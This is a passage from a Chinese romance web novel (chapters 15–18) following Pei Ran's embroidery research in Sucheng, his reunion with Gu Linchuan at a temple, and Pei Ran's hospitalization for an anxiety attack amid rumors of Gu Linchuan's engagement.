他低声祈愿母亲安康,挚友顺遂,还想要顾临川幸福。
想到这里,他抱歉地朝佛祖笑笑,希望佛祖别嫌弃他太过贪心。
裴然祭拜完,便往寺庙深处走,去往此行的目的地。
归云寺收藏着世间唯一苏绣之绝唱,《三世佛莲华经变图》。
庙内灯光柔和,裴然屏息凝神站在绣作前,惊讶到呼吸都刻意放轻了些。
佛前供花,能清楚看见花瓣脉络,仿佛穿越时光,看见当年的绣娘手捻丝线,一针一线落下的模样。
作品不仅体现出苏绣的绝妙,更是绣娘的禅心,一针一线,皆是修行。
其中莲花的绣样与裴然设计的缠枝莲不甚相同,但也有共通点。
最重要的是,这朵莲花纹绣上去,视觉上并不显厚重,这让裴然心里放松了些,若是能从中找到技巧,那他也不虚此行。
“施主很喜欢苏绣?”
清润的声音在身后响起,裴然回过头,见一个眉清目秀的小和尚立在身侧,耳垂圆润,眼神干净的像山泉水。
“这是苏城最有名的绣娘绣的,”见裴然向他望过来,羞赧地摸了摸额头,“师太俗家姓沈,后来看破红尘,就把毕生的心血都捐给了寺里,此图便日日待在此处,听经念佛。”
“原来是这样。”裴然对着小师父淡然一笑,重新又看向这副《三世佛莲华经变图》,再一次惊叹,“连我这种对苏绣了解甚少都能看出其中的绝妙,沈师太可还有其他作品?”
小和尚点点头,给他指了方向:“从廊下拐过去,一路直行到那棵银杏树下就到了。”
裴然视线顺着往过去,银杏树在冬日里光秃秃的,但高大挺立,年岁应当不小。
明确方向后,裴然双手合十,微微欠身对小师父行了谢礼,便往那边走去。
15. 第 15 章
“施主心诚,庙里功德簿上年年都记着你的名字。”僧人声音温和低沉,像庙里令人心安的檀香一般。
“心诚便会得偿所愿么?”顾临川立在佛前,仰头看向双唇轻抿,神态安详的佛像。
“只是佛门求的是缘,若是缘分已尽,还望施主早日放下,莫要强求。”僧人说完闭上眼睛,低声念起经文。
顾临川将香燃起,双手持香举至眉心齐平,面对佛像躬身拜了拜。
七年前,裴然骤然离开,他也跟着丢了魂,跑遍全国的寺庙,向他们祈求裴然能回到他的身边,不管付出什么代价。
他也曾不信神佛,觉得世间之事,皆在人为,但当他身处痛楚时,也只好寻求神明庇佑,再无他法。
如今裴然重新回到他身边,他也愿意相信有几分神佛的功劳,便一座城一座城地还愿。
无人看清,他捏着香柄的手指还在微微颤抖,神明在上,承蒙垂怜,好在没有让他等太久。
顾临川起身将香插进,理了理衣襟,端庄地站定。
僧人念完,缓缓睁开了眼,看着眼前之人:“施主如今心愿已偿,本该心安,怎么眉宇间反倒锁着更深的执念?”
“他总想离开,我找不到他。”顾临川像是在回答,又像是在喃喃自语,“他太可恶了,我不应该恨他吗?”
裴然离开那日,他要取文件,便回了一趟老宅,正好遇上顾辰。
他对这个私生子弟弟没什么感情,留他在家已算仁慈,自然没什么好脸色。
顾辰还算热络,一如既往凑上前,怯生生地招呼:“哥,你怎么回来了?”
顾临川脚步一顿,语气不善,冷着脸:“这是顾宅,我回来需要向你汇报?”
“不需要,不需要。”顾辰尴尬地往后一退,把主路让出来,“哥,你先走。”
“袋子里是什么?”顾临川眯起眼睛。
刚才他侧身的时候,露出了袋子里的东西,如果他没看错的话,是一条围巾。
而且是裴然的围巾。
顾辰拿袋子的手果然往后一缩,藏到背后,结结巴巴回:“没、没什么。”
“我没有耐心再重复一次。”顾临川阴沉着脸。
顾辰只好坦白,“是然哥的围巾。”
“他的围巾怎么会在你这里?你们很熟?”顾临川脸色更沉,隐有发怒的前兆。
其实问题的答案不言而喻,裴然当年抛下一切,跟着顾辰去了英国,想来不只是很熟,顾临川自嘲。
“然哥出差了,我送他到机场,早上太阳好,他觉得闷热,便让我帮他带回来。”
又是这样,顾临川闭了闭眼,他永远都要从别人的口中得知他的离开。
七年前是这样,七年后也是这样,甚至这一次,他连生气的资格都没有了。
他呼吸紊乱,几乎快要控制不住自己的情绪,手指紧紧攥着,骨节都发白。
“哥,你没事吧,你脸色好差,是不是生病了?”顾辰有些担忧地看着他。
“……滚开。”顾临川哑着嗓子。
顾辰像是被吓到了,整个人哆嗦一下,紧接着赶紧提着围巾离开了。
只是在经过拐角时,几不可察地了勾唇角。
思绪回归,僧人轻叹一声,“施主 ,你执念太重。”
“除此之外,我别无所求。”顾临川犹如未闻,眼底是像是终年不化地冰川,寂静冰冷。
僧人喃喃一句阿弥陀佛,便转身离开,独留顾临川一人。
时间仿佛过去了很久,顾临川就这么站着,背脊挺拔,仰头望着神佛。
突然,门口传来一阵悉悉索索的响动,紧接着是一颗毛绒绒的脑袋,探出来:“顾临川?”
顾临川瞳孔骤然紧缩,不可置信地回头,来人正是裴然。
裴然见他回头,确认自己没人错了,脸上瞬间漾起笑容,从门口走出来,“你怎么也在这里?好巧啊。”
顾临川怔愣着,看着裴然一步一步走到自己的面前,随后歪着头问他:“你怎么不说话啊?”
“说什么?”顾临川像是灵魂出窍,作为旁观者看着眼前这一幕。
裴然被他怼习惯了,此刻竟也不觉得刺耳,他又重复了一次:“你怎么也在这里?”
“来上香。”
“你所求的是什么?”裴然好奇。
“什么也没求。”顾临川侧过身,不再看他。
裴然只当他不想说,“哦。”
裴然方才从偏院的展示区出来,绕了两圈又迷失了方向,只好又退回方才的银杏树下,谁料一转头,便看见一个熟悉的身影。
他快步走上去,又怕自己认错了人,便只趴在门框边,小声地喊着。
顾临川灵魂缓缓归位,终于能找到自己的声线,问他:“你也来上香?”
裴然点点头,像是没预料到他会开口。
“你所求什么?”顾临川声音很轻。
裴然抿唇一笑,只答:“只是一些俗事。”
看着他这副模样,顾临川像是穿越时光,看到了七年前的裴然。
青涩的面孔搭配上校服,微风撩开他的额发,露出光洁的额头,少年蹬着自行车,回头对他一笑,竟比春日的阳光还明媚。
“顾临川!你骑快点,再迟到我可不想再站门口!”
“来了。”
“……”
从庙里出来,已经过了午饭时间,两人一前一后在小吃街漫无目的地闲逛。
顾临川飞机在傍晚,两人还有很多时间。
裴然总觉身边的人有些怪,但又说不出哪里怪。
比如说现在,他不过是多看了路边的青团两眼,顾临川便停下脚步,买了一份递给他。
裴然受宠若惊,指了指面前的小盒子,再一次确认:“给我的吗?”
“嗯。”顾临川点了点头。
“谢谢你。”裴然笑眯眯地接过,拆开盒子尝了一口。
外皮软糯清香,内陷是甜而不腻的红豆,味道很正宗。
裴然尝了一口就惊喜地瞪着大眼,指了指青团示意他也尝尝。
顾临川拿起一个,尝了一口,淡淡地说:“还不错。”
接下来,只要是裴然多看两眼的食物,下一秒就会出现在顾临川的手中。
惊喜来的太突然,裴然甚至不敢问他为什么突然对自己这么好,怕顾临川骤然清醒过来,又恢复到以前的冷淡模样。
一路上,裴然嘴里塞得鼓鼓的,眯着眼睛一脸幸福的模样:“真好吃。”
顾临川轻笑一声,擦了擦他的嘴角,“又没跟你抢,慢点吃。”
“咳咳咳……”裴然被他突然地靠近吓一跳,饼干碎卡在喉咙上,猛地咳嗽起来。
顾临川大掌抚上他的后背,给他顺气,脸色又阴沉几分,抿着唇不讲话。
裴然面色憋得通红,好一会儿才缓过来。
等裴然好了一些,顾临川才阴恻恻地问:“我很吓人吗?”
“不不,不吓人。”裴然赶紧摆手,生怕他误会,“是我吃的太着急了。”
“真笨。”顾临川面色稍霁,薄唇轻启,是一如既往的语气。
吃饱喝足,裴然轻声打了一个饱嗝,摸了摸肚子上的软肉,蹲在地上哭丧着脸:“我的腹肌都吃没了。”
“正常情况下,人的腰腹都是软的。”顾临川颇为无奈,捞着他站起来,又道,“吃饱不宜蹲下。”
裴然大着胆子靠着他,见他没露出抗拒,又盯他,眨眨眼睛:“真的吗?”<
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p>顾临川点点头,下一秒,腰上被人轻轻戳了一下,紧接着是裴然的控诉:“你骗人!你的腹肌都还在!”
顾临川难得被说的一噎,只好说:“我刚刚吸气了。”
“你吸气干什么?”裴然狐疑着,一脸的不相信,“你放松,我再试试。”
顾临川一把抓住他作乱的手,眼神警告。
裴然悻悻,收回手,小声嘀咕:“小气鬼,就知道骗我。”
顾临川不欲与他争辩这个话题,放缓脚步陪他慢慢走,问他:“你来苏城,打算待多久?”
“不确定。”裴然想了想,“一个月左右吧,除夕前回南城。”
裴然在南城已经没什么认识的人,但裴家还有些亲戚,回国后的第一个新年,总是要去问候一下的。
顾临川嗯了一声,“以前在国外,会过除夕吗?”
“会啊。”裴然回想起来,不禁勾了勾唇,“我们会在草坪上烧烤,喝啤酒,一起放烟花。”
“七年,这么久。”顾临川问他,“有想过回来看看吗?”
裴然很轻地摇了摇头,努力让自己的语气听起来很自然,“没有,在哪里跨年都是一样的。”
顾临川盯着他,像是要把他看穿,但最后只说:“是因为国内已经没有牵挂的人了吗?”
“不是的。”裴然心头一颤,躲开他的视线,“母亲一个人在国外,我放心不下。”
“阿姨的身体好些了吗?”顾临川问。
“情况稳定下来了。”裴然点点头,想起自己的母亲,眼神温柔,“医生说,今年有希望能苏醒过来。”
“会的。”顾临川揉了一把裴然的脑袋,毛绒绒的,触感很好,“有空,带我去见见阿姨吧。”
顾临川从小亲缘淡薄,父母商业联姻,对他自然没有感情,而他从小到大感受到的母爱关怀,皆是裴然母亲带来的。
裴然母亲说是他半个母亲,也不为过。
裴然刚想点点头,突然觉察出不对劲,问他:“你不是不记得以前的事情了吗?”
“只是把你忘了。”顾临川面色如常地撒谎。
“原来是这样。”裴然失落了一瞬,又凑上前,“医生有没有告诉你原因呢?以后会恢复吗?”
顾临川捏着他的后颈,让他不要凑这么近,皱着眉,“你不是说做过对不起我的事情?忘了岂不更好。”
裴然叹了口气,不知道怎么形容这一刻的想法,“可是,你也忘记了我们之间的美好啊。”
而且是只忘了他,实在让人难过。
顾临川挑眉,“比如说?”
“比如说……”裴然正打算举例,见顾临川一脸的玩味,顿时羞红了脸,“你先回答我的问题。”
顾临川耸了耸肩,“原因不清楚,会不会恢复看情况。”
这算什么回答啊,裴然默默腹诽。
“裴然,你想让我想起来吗?”顾临川侧过头,看着他。
裴然顿了顿,半晌摇摇头,“不知道。”
“你在犹豫什么?”顾临川问他。
裴然依旧摇摇头,回他:“不知道。”
顾临川却像是根本就不想得到答案,只想逗逗他,见他一脸的纠结,勾了勾唇。
“行了,脸都皱成包子了。”顾临川笑完,淡淡吐出三个字,“这么笨。”
顾临川面色很淡,看不出喜怒,但裴然莫名感觉到一阵哀伤。
他努力跟上顾临川的步伐,在心底说,想。
想让你记起来,哪怕恨我,怨我,不要我了。
至少,有过汹涌的感情,不至于是一潭死水,毫无波澜。
但裴然是胆小鬼,只敢在心底默念。
最后悄悄踩上他的影子,仿佛两人依旧亲密无间。
16. 第 16 章
裴然又在民宿闷了一天,身子才完全好了。
去医院做了检查,确认不是流感,不会传染,才和绣坊定下时间。
年初,坊里的绣娘接活多,每日只能抽出两个小时和裴然沟通。
裴然也不着急,将两个小时利用到极致,先是清晰地表达了自己的需求,又将服装面料拿出来,询问成功的可能性。
他准备了三份布料,雪纺、欧根纱以及丝绸,最理想是条件是雪纺。
绣娘第一时间不敢保证,只说先试试。
绣娘效率很快,一周时间便将图案全部绣上去。
裴然这一周跟着坊里的绣娘学习针法,刚才摸到一些门道。
“这三种布料绣上这个缠枝莲图案,效果最好的丝绸布料,能最大程度的保留你想要的轻盈感。”
绣娘将三种绣好的布料摆出来,一一为裴然解释。
缠枝莲绣上去后,若是作为日常服装,便都没有大的区别,甚至显得格外精致。
但是达不到裴然所要的轻盈效果,只有重新研究新的混合针法,才有可能解决视觉上的沉重感。
裴然心中的首选当然不是丝绸,他想争取一下:“老师,雪纺有机会达到这种效果吗?”
绣娘不敢保证,只说:“你若是坚持,我可以试试,但我不确定最终的效果是怎样。”
裴然大喜过望,“您肯试试我已经很感激了。”
为表现重视,裴然日日跑绣坊,时刻跟进进度。
半月过去,秀坊传来好消息,绣娘找出了最佳绣法,不仅能从视觉上展现灵动飘逸,在实际重量上也会减少重量。
裴然和绣娘商量,先小批量打样出来,试试成衣效果,再进行最终调整。
一切做完,裴然松了一口气,最难的部分已经完成,接下来就是漫长的等待和不断的尝试。
订好机票,裴然给工作室发去消息。
“完成!”
工作室群里瞬间叽叽喳喳地闹起来。
“然哥辛苦了,我就知道你一定行!”
“太好了,雪纺配上苏绣,感觉这个作品能爆。”
“当然能爆,这可是然哥的设计。”
“……”
裴然轻笑一声,放下手机开始收拾行李。
他在这里住了大半个月,老板和他都熟悉了不少,知道他要离开,心中有些不舍。
门口传来敲门声,裴然头也不抬,将衣服一件一件叠好放进行李箱,“门没锁,进来。”
门推开,老板站在门口,“小裴,在收拾行李了啊?”
裴然见来人是老板,放下手里的东西,迎上去,“是啊,马上要走了。”
老板提着东西递过去,“这是我们的一点心意,你住这里这么久,帮了我们不少忙,我们都把你当亲弟弟了,还怪不舍得呢。”
老板知道裴然是外地人,便选了些苏城的特色给他,清香回甘的碧螺春和香甜软糯的糕团。
裴然接过,手里沉甸甸的,心头一热,说:“太客气了,我也没做什么。”
“希望你会喜欢。”老板笑了笑,“好了,我不耽误你了,你慢慢收拾。”
裴然点头,轻轻关上门。
两个小时后,裴然提着行李箱走出房间,路过大厅时打算找老板正式道别。
老板却提着两个针织玩偶小跑上来,“幸好你没走,这个给你。”
“这是?”裴然接过,小玩偶是一对,手拉着手。
老板解释:“囡囡织了送给你的,让她来给你解说一下。”
说完,老板身后冒出一个小女孩,笑眯眯地喊:“哥哥!”
裴然在这里时经常帮忙照看孩子,于是小女孩也很喜欢他,知道他要离开了,便织了这个娃娃,送给他。
小女孩熟练地抱住大腿,“哥哥,这是妈妈和我一起织的,送给你,希望你会喜欢。”
裴然揉了揉她脑袋,柔声说:“我很喜欢,谢谢囡囡。”
裴然指了指另一个人,好奇问:“囡囡,这个是织的谁呀?”
最开始还以为是织的小女孩本人,但却是短发,一时间裴然也分不出来。
小女孩脆生生回答:“是那天抱哥哥进去的大哥哥哦!”
裴然愣了几秒,才反应过来她说的是顾临川,顿时红了脸。
“怎么突然想到钩一个他?”
“因为他救了哥哥,是大英雄,而且他是哥哥的好朋友,把你们勾在一起,就永远也不会分开了。”
永远不分开,小孩子童真稚嫩的话,裴然却心头一跳,比谁都期望这是真的。
裴然把它放进口袋,珍视地拍了拍,弯下腰看着小女孩的眼睛,跟她保证:“我会好好对待它的,我很喜欢这个礼物,谢谢你。”
“不客气,哥哥再见。”
飞机落地南城,庭婷和顾辰在机场接他,两个人并肩而立,庭婷带着墨镜,挡去大半边脸,双臂环抱在胸前。
身旁的顾辰低头在她耳边说些什么,末了,庭婷勾唇一笑。
“二位,聊什么呢,这么开心?”裴然提着行李箱走上前,拍了拍两人的肩。
听到声音,两人赶紧转过身,庭婷把墨镜摘下来,顾辰则是上前替裴然拿了行李。
“我们刚刚在聊我哥订婚宴的事情,听说……”顾辰闷哼一声,闭了嘴,捂着肚子不敢再说。
裴然笑容一滞,脸色发白,勉强一笑:“是吗,听说什么?”
庭婷一拳打断他的话,面露不满,瞪了顾辰一眼,真是哪壶不开提哪壶。
旋即恢复笑容,挽着裴然:“没什么。走吧走吧,我等的肚子都饿了,我们去吃饭吧。为了庆祝你完成了苏绣的任务,我在归肴楼定了位置,他们都快到了。”
说完头也不回地拉着裴然离开,丝毫不管身后的顾辰。
归肴楼下,裴然和庭婷两人率先下车,留顾辰一人去泊车。
车子驶离,庭婷盯着车子背影面色不虞,拉着裴然先行上楼。
“好啦,顾辰他也不是故意的,你不要同他置气了。”裴然情绪缓过来,倒是先去安慰气呼呼的庭婷。
“不是故意的?”庭婷更生气了,声音也不自觉放大,“我看他就是不怀好意,真让人不爽。”
“他也只是想让我早点走出来吧,毕竟我们早就分手了。”裴然轻声道。
“你不要忘了,是谁让你们分手的。”庭婷脚步一顿,直勾勾地盯着裴然,说出来的话直白令人胆寒,“他也是罪魁祸首。”
裴然沉默了,侧着脸不敢看她,半晌低声说:“不是的,是意外,是天意,谁也没有做错什么。”
“然哥!”庭婷恨铁不成钢,恨不得叫裴然彻底清醒,“你不要自己骗自己。”
话音刚落,身后传来一阵急切的脚步声,随后是顾辰疑惑的声音。
“然哥,婷姐,你们还没上去呢?”
原来是顾辰泊好车,上楼时正好撞见争执中的两人。
两人皆是一噎,
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一肚子情绪猛地咽回去,脸色一个赛一个的难看。
庭婷拧着一双秀眉,上下打量了顾辰一眼,最后意味不明地轻哼一声,转身潇洒离去。
顾辰不明就里,有些尴尬,问:“婷姐是不是不太喜欢我?”
“不是的,她只是有些着急了,没关系。”裴然强撑着挤出一个笑脸,安慰他,“走吧,先上去。”
席间,座上三人皆心神不宁,但其他人很兴奋,吃完后还觉不尽兴,留着众人打算一起去唱歌。
庭婷没什么兴趣,摆摆手,随后借口身子不舒服,先行离开。
裴然也说刚下飞机有些劳累,想先回去休息。
临走前,裴然便起身送庭婷到门口,叮嘱她:“路上注意安全。”
庭婷点了点头,欲言又止,最终什么也没说,转身离开。
顾辰被Rechal几人拉着喝酒,抽不开身,向裴然投去求救的眼神,转而又被拉到人堆里。
裴然看着这一幕,轻笑一声,拿起椅子上的外套,对众人说:“玩的开心,我先走了。”
身后此起彼伏的传来:“然哥慢走啊。”
回到家里,裴然褪去一身的伪装,眼神冰冷,僵硬了一整天的嘴角恢复平直,内心一片死寂。
很久没有在家呆着,家里的酒所剩无几,裴然感到很烦躁,手心都在微微发麻。
拿出手机,本想查阅一下工作邮件,看着面前的一个个文字,却怎么也静不下心,好似文字都活过来,叽叽喳喳在耳边吵闹,吵得太阳穴生疼。
裴然有轻微的焦虑症,看过医生,不需要吃药,但每每发作起来,都会头疼欲裂。
太阳穴的神经剧烈收缩,连眼神经都连带着一起,像被人猛地拽紧又撕裂,眼睛不受控制地留下生理性眼泪。
裴然蜷缩在角落,双臂环抱住大腿,整个人埋进去,像是找到一个温暖的港湾。
过了许久,裴然感到灵魂都脱离了自己的身体,疼痛似乎变成意识之外的感知,晕倒之前,他似乎看见门口冲出一个人影,紧接着他落入一个温暖的怀抱。
柑橘味的怀抱,还带着阳光的香味。
“小然,以后你想去哪里上大学?”少年顾临川刚打完篮球,脸色红润,看向他时眼里都闪着光。
裴然和他并肩走着,夕阳把他们影子拉得很长,“去首都上大学,我听说,首都艺术大学的设计专业是最好的。”
“那我也去首都,我们永远不分开。”少年顾临川仰头,一口气灌了半瓶水,笑着去揽裴然的肩,“等你到了二十岁,我们就结婚。”
“我才没有答应要嫁给你。”裴然羞红了脸,笑着去推他。
“没关系。”少年顾临川笑得肆意,一把将人搂进怀里,珍视地吻了吻他的额头,捧着他的脸,“那我嫁给你好了。”
裴然在他胸口蹭了蹭,伸手搂住他的腰,“真不要脸。”
少年顾临川笑起来,“要你就够了。”
两人在夕阳下拥抱,时光仿佛都在此刻定格,如果这是一场梦,裴然希望永远都不要醒过来。
轰隆——
下一秒,天空雷声大作,闪电不要命地在天空狂劈。
手上陡然一轻,裴然眼睁睁看着刚才还站在自己面前的少年,骤然消失,化作烟雾一般散开。
大雨落下,裴然跌坐在地上,雨水淋湿了他的额发,一缕一缕地贴在脸上,雨水流进他的眼睛。
他拼命地想要留住什么,却捞了一场空。
17. 第 17 章
中心医院,忙完一切检查,已经是凌晨,裴然还皱着眉,一脸痛苦地闭着眼。
检查报告还没出来,医生只说让他先将人守着。
顾临川站在床前,伸手揉开他紧皱的眉头,似乎还想蹭一下他的脸,指节悬停在半空,最终收了回去。
拉上窗帘,关了病房灯光,顾临川轻轻掩上门,在门口站着。
期间,有护士见他一直站着,便说有陪护病房,可以去那里休息一会儿。
顾临川摇了摇头,护士见劝不动,便离开了,他就这样一直站到清晨。
来查房的医生与他熟识,见他眼底一片红血丝,吓了一跳,嚯了一声,“守了一晚上?”
“嗯。”顾临川回他,跟在后面进了病房。
“检查科那边刚把报告发给我,我待会儿查完房就回去看,看完具体的我再和你聊。”医生检查了一番,填好数据,把本子收好,见好友状态不佳,出声安慰,“暂时看不出病理性的问题,不用太忧虑。”
顾临川点点头,也不知道听没听进去,医生不再多说,转身去了下一个病房。
戚贺昀不知道从哪里听到裴然住院的消息,赶紧拽着枚烨一起来了医院。
两人手上都提着果篮和鲜花。
到的时候,裴然已经醒过来了,病房里只有他一个人,坐在洁白的病床上,盯着窗外发呆,眼睛映出淡淡的琥珀色。
阳光透过窗户洒在他身上,给整个人镀上一层柔和的光。
“裴裴。”戚贺昀敲了敲门。
裴然应声回过神,看清来人,露出笑容,出声:“贺昀,快进来。”
戚贺昀拉着身后被门挡住的枚烨,往里面走,“还有妹妹,我们来看看你。”
枚烨拉过一个凳子,摆在床前,方便让戚贺昀坐下和裴然聊天。
转头将两人的鲜花插进花瓶里,又把水果拿出来整理好。
戚贺昀则是坐下来,拿过一个苹果慢慢削,见裴然脸色依旧苍白,担忧地问:“裴裴,你身子好些了吗?”
“好多了。”裴然朝他安抚地笑笑,“只是没有休息好,不严重的。”
“裴裴你要好好休息啊,工作哪有身体重要。”戚贺昀偷瞟了身后的枚烨,凑到裴然耳边小声吐槽,“他和咕咕都是工作狂,你可千万不要跟他们学。”
裴然见戚贺昀一脸严肃,起了心思逗他,“不拼命工作,我就要吃不起饭了呀。”
戚贺昀不食人间烟火,哪听得朋友说没钱,当即大手一挥,“以后我养你!”
枚烨一脸黑线,把他往后扯了扯,好让两人不要靠太近。
“聊什么呢?”顾临川站在门口,手里提着一份粥,“你要养谁?”
戚贺昀看了眼顾临川,又缓缓将目光放在裴然身上,顿悟,哪里轮得到他养裴然。
戚贺昀意味深长地笑笑,并不回答。
顾临川没理会他,径直走到病床前。
“先把饭吃了。”
顾临川把饭盒打开,白粥寡淡的味道立刻散开。
“你就给裴裴吃这个?”戚贺昀震惊,他一向口味挑剔,简直不敢想这个如何下咽。
当下又觉得,裴裴还是得靠他养,否则顾临川会虐待。
顾临川把勺子递给他,见裴然拿起来小口小口吃着,才说:“清淡点,对胃好。”
枚烨也说:“你以为谁都和你一样挑食?”
“我才不是挑食。”戚贺昀不满,伸脚踢了过去,被他熟练躲开。
裴然笑盈盈地看着,差点被烫到,瑟缩了一瞬。
顾临川立刻发现,问他:“烫到了?”
裴然点点头,随即又摇头,说:“没事。”
裴然一抬头,三人都挤在病床前,戚贺昀坐在椅子上,枚烨则是环臂靠在柜子边,顾临川站在另一侧病床前,默然盯着裴然吃饭。
三人视线齐刷刷落在他身上,一瞬间,顿感压力山大,吃饭都不自在起来。
尤其顾临川与枚烨二人,近一米九的身高,几乎快把病房顶破,如出一辙的面无表情,站在面前犹如两座冷峻的大山。
戚贺昀也发现这一点,啧了一声,推着两人往外赶,“你们俩站着审犯人呢?出去出去,我和裴裴单独聊会儿。”
两人对视一眼,无奈,顺势出了病房。
两人没走太远,插着兜靠在墙边,皆是无言。
过了一会儿,枚烨侧头,问:“情况怎么样?”
“不好。”顾临川想起刚刚看的病例单,眉头紧锁,“体质太差,精神状态也不好。”
焦虑症伴随着的不仅是头疼,还体现在日常生活中,持续性的发呆,胃口不好,入睡困难等。
裴然身体和七年前相比,差了太多,就像一座随时会倾倒的大厦。
闻言,枚烨也皱眉,片刻后,想起什么,问他:“听说你昨晚开会,半路就跑了,怎么知道的这么快?”
“安了监听器。”
顾临川认为理所应当的事情,好不容易找回来的人,总要好好看着,不要让他再跑了。
同时又感到烦躁,若是他没有及时听到,后果他不敢想。
“什么时候?”枚烨并不意外,只是好奇。
顾临川说:“回国后,一直。”
枚烨点了点头,前几次怪异行为都得到了解释,又问:“出院后,怎么办?”
顾临川沉声:“我亲自盯着,不会再出事。”
茶氨酸在血液里冲撞,方才喝下的那杯绿茶似乎没有半点清心功效。
顾临川此刻回想起昨天晚上的情形,仍是一阵后怕。
昨夜,顾临川开会时嫌无聊,打开了监听器,谁料,监听器里传来的是裴然压抑痛苦的呻吟。
谁也不知道那一刻,他在想什么,只是心脏跟着缩紧,呼吸也快暂停。
他立刻奔出会议室,留下各位一脸茫然。
上了车,他油门踏到底,最快的速度赶到,却仍觉得慢,路上不知道闯了多少红灯。
到了之后怀里人已经晕了过去,小脸惨白,额头布满汗珠。
太脆弱了,像一个随时会碎裂的陶瓷娃娃,他轻轻地将裴然抱起,送到医院。
直到医生检查完后,亲口说已经没事了,他心脏才终于坠回原位。
枚烨见他沉着脸,呼吸粗重,像是坠入梦魇一般,吓了一跳,很久没见到他这般模样。
“不用太担心,身子不好可以养。”枚烨说,“我回去请爷爷给裴然看看,好好调理一番。”
枚烨爷爷是南城最有名的中医,但年事已高,已不再接诊了。
闻言,顾临川眉头稍缓,哑声道:“多谢。”
枚烨摇头,“小然也是我朋友。”
两人又在门口站了会儿,估摸着病房里的两人聊的差不多,才敲门进去。
推门进去,戚贺昀和裴然仍凑在一起聊八卦。
枚烨去了阳台接电话,顾临川则又拿了一把椅子,坐在一旁。
“赵宇恒,还记得么?”戚贺昀问。
裴然思索了几秒,点点头:“有点印象。”
“上学时候是不是觉得他还挺老实的?”戚贺昀一脸嫌恶,“
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结婚了之后还家暴,被他老婆告了,不知道从哪找到妹妹联系方式,哭着求着让妹妹帮他。”
裴然目瞪口呆,回忆里那个始终戴着黑框眼镜认真学习的同学,如今居然成为了家暴男。
“后来呢?”说完,裴然眼前出现一块苹果,下意识张嘴咬住。
下一秒,反应过来,和一旁的顾临川对视上,“谢谢。”
顾临川不说话,只是盯着他的嘴,待他细细嚼完又递过来。
戚贺昀没注意这个小插曲,闻言继续说:“后来,我让妹妹找人把他连打带踹的赶出去,顺便为他夫人请了一个有名的离婚律师。”
裴然听完肃然起敬,竖起大拇指:“干得漂亮!”
戚贺昀自己也觉得满意,自我陶醉。
终于,他看见裴然嘴巴始终在嚼嚼嚼,顺着望过去,顾临川刚好又递过来一块苹果。
戚贺昀顿时控诉起来:“我也要吃苹果。”
顾临川从果篮里挑了一个,抛给他,“自己削。”
戚贺昀不乐意,把阳台上的枚烨喊进来给自己削苹果。
裴然吃了半个就吃不下了,顾临川也不急,拿着苹果慢条斯理地把剩下半个吃掉。
虽然是拿刀一点一点切下来的,但顾临川吃自己剩下的苹果,裴然还是有些莫名的不好意思。
戚贺昀如愿以偿吃到了苹果,心情也好起来,说:“找对象还是要擦亮眼睛,知人知面不知心,看起来斯文,实际上不知道是什么垃圾。”
裴然深感认同。
戚贺昀话音一转,指了指顾临川,对着裴然说:“比如说咕咕,这种一看结婚了就不家暴。”
这话本意是调侃顾临川,顺便暗示裴然,找顾临川做男友。
但落到裴然耳朵里,一切又变了味道。
他又想起顾辰说的,顾临川即将订婚的消息,呼吸都有些紊乱。
顾临川只是淡淡瞥了戚贺昀一眼,不置可否。
戚贺昀还在说,裴然却有些听不清了。
他低着头,叫旁人看不清眼底的落寞。
但顾临川敏锐地感觉到裴然状态不好,随便找了理由,打断了话题,催着两人离开。
送走两人,病房一下又恢复宁静,两人坐的近,彼此都能听见对方的呼吸声。
顾临川率先打破沉默:“不舒服?”
“没有。”裴然咬着唇,撒谎。
顾临川视线扫过他几乎快要咬破的唇,和下意识揪紧床单的手,不再逼他,换了话题。
“工作忙吗?不忙多住两天?”
裴然摇了摇头,“不了。”
他去苏州出差,本就将工作室许多事宜全都丢给庭婷,快除夕了,工作室的事情只多不少。
顾临川听出裴然的态度冷淡,但找不到原因,只好作罢。
裴然把床位调下去,缩进被子里,闻到床头花瓶散发着淡淡的茉莉花香。
两人都沉默着,顾临川还以为他睡了。
半晌,裴然轻声问:“顾临川,你之前说看到我就很讨厌,现在呢?”
顾临川想起之前赌气,说的那些话,生出几分懊悔,“没有讨厌。”
裴然弯了弯眼睛,“那我们现在算是朋友了吗?”
“是。”
“那就好。”
说完,裴然转过身,一副没精神的模样,不再讲话。
顾临川在病床前守了一会儿,才退出去。
眼角的泪浸湿了枕头,透出一片深色。
够了,作为朋友参加他的婚礼,他知足了,裴然心想。
18. 第 18 章
周五下午,裴然画完设计稿,活动了一下手腕,将铅笔收起来,站在落地窗前远眺。
工作室双休,不少人已经收拾好东西下班离开。
Rechal坐在工位上补好妆,朝庭婷送去飞吻:“下周见,宝贝。”
庭婷从一片画稿中抬起头,挥手:“下周见,小甜心。”
Rechal捂着嘴,笑着跑走了。
庭婷看向裴然的办公室门,轻叹一声,走上前,抬头欲敲,又纠结地放下。
就在此时,办公室门突然被打开,两人对上视线,皆是一愣。
“然哥。”庭婷往后退了一步。
裴然看了看工作室,已经没有人了,问:“怎么不下班?”
“还有工作没忙完。”庭婷想说的话说不出口,只好顺着回答。
裴然抬起手腕看了看时间,善解人意地说:“不紧急的话,下周再忙吧。收拾一下,去享受自己周末。”
他双手搭上庭婷的肩膀,轻轻用力把她转了一圈,推到工位面前。
“然哥。”庭婷心神不宁地收拾着,又喊了他一声,“你身体好点了吗?”
裴然上次晕倒进医院本就是情绪所致,只在医院住一晚便出了院,如今已经过去两天。
“已经没事了。”裴然从手机里抬起头,有些茫然:“怎么了?”
庭婷笑了笑,说:“没事。”
早在英国时期,裴然就已经患有焦虑症,原因是多方面的,遭遇这么多变故,又骤然身处异国他乡,他的精神状况每况愈下。
裴然拒绝吃药,每次头疼就强行忍住,用这种方式让自己一次又一次铭记痛的感觉。
好在后来,一切渐趋稳定,他的病症也渐渐稳定下来,头疼的次数越来越少,心理医生说有好转的迹象。
原以为回国后,状态会越来越好,所以几人都忘记了催着裴然去复查。
没想到,裴然会突然发了病,还直接进了医院。
庭婷不确定那晚的争执有没有间接导致他发病,但她仍感到内疚。
“Alice和你约好这个月的面诊了吗?”是裴然的心理医生,庭婷以为他在苏城太忙,忘记了,有心提醒。
裴然手指速度飞快,开心消消乐结算画面弹出一个,三个星星横在屏幕中间,“在月中,我已经做完了。”
庭婷一惊,裴然在按时复诊的情况下,都会突发病症,情况没有变好。
“然哥。”庭婷轻声喊。
“嗯?”裴然又点进下一关,手指不停。
“年后,顾家与宋家联姻举办订婚宴……”
庭婷适可而止,观察他的反应。
手指顿了一下,似乎抽筋了,裴然大脑空白,“如果他愿意邀请我,我会去的。”
